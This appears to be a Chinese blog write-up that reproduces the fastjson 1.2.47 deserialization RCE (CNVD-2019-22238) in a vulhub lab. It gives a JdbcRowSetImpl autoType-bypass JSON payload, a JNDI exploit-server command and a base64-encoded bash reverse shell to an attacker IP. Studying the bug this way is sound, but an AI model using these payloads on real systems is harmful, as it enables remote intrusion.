【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

admin 2023年2月7日12:07:17评论25 views字数 1180阅读3分56秒阅读模式

漏洞简介

事项
描述
漏洞概述 fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响范围 1.2.48以前的版本
漏洞编号 CNVD-2019-22238


漏洞搭建

这里使用vulhub的fastjson/1.2.47-rce进行复现。

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

访问http://192.168.146.167:64725/

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)


漏洞复现

使用工具进行检测

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

发现dnslog有数据,说明存在漏洞。

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

查看对应的payload

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

[6]{    "a": {        "@type""java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"    },"b": {        "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://test6.j6i2jc.dnslog.cn/Exploit", "autoCommit"true    }}

然后再进行抓包,添入payload,手工再测一遍。发现确实存在。

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。

反弹的的ip和端口是192.168.146.161和10000bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}

执行以下命令,进行反弹shell。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

由于不知道对方java的版本,所以就一个个试。

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

然后发现漏洞利用成功

{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",       "dataSourceName""ldap://192.168.146.161:1389/5jdmca",        "autoCommit"true    }}

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

成功反弹了shell。

【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

进入tmp目录下,成功拿到flag。


- End -




原文始发于微信公众号(NS Demon团队):【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日12:07:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)http://cn-sec.com/archives/1540695.html

发表评论

匿名网友 填写信息